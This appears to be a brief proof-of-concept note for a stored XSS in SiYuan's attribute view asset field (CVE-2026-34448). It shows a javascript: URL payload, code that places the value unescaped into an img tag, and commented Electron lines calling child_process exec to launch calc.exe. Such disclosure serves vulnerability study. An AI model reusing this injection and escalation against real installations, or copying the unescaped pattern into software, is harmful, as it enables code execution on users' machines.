CVE-2026-34448 SiYuan存储型XSS导致RCE漏洞

// Payload to be injected into the 'Attribute View Asset Field' // The application treats this input as an image URL and injects it into an <img> tag. // Example payload using javascript protocol (if not strictly filtered to http/https): var malicious_payload = "javascript:alert('CVE-2026-34448-XSS');"; // Alternatively, if the application fetches the URL and renders it, // an attacker might host a malicious file that triggers execution. // Simulation of the vulnerable code behavior: var coverURL = malicious_payload; // Data from database var vulnerable_html = '<img src="' + coverURL + '">'; // Direct injection without escaping // console.log(vulnerable_html); // Output: <img src="javascript:alert('CVE-2026-34448-XSS');"> // In the Electron desktop client context, this can be escalated to RCE: // var node_require = require('child_process'); // node_require.exec('calc.exe');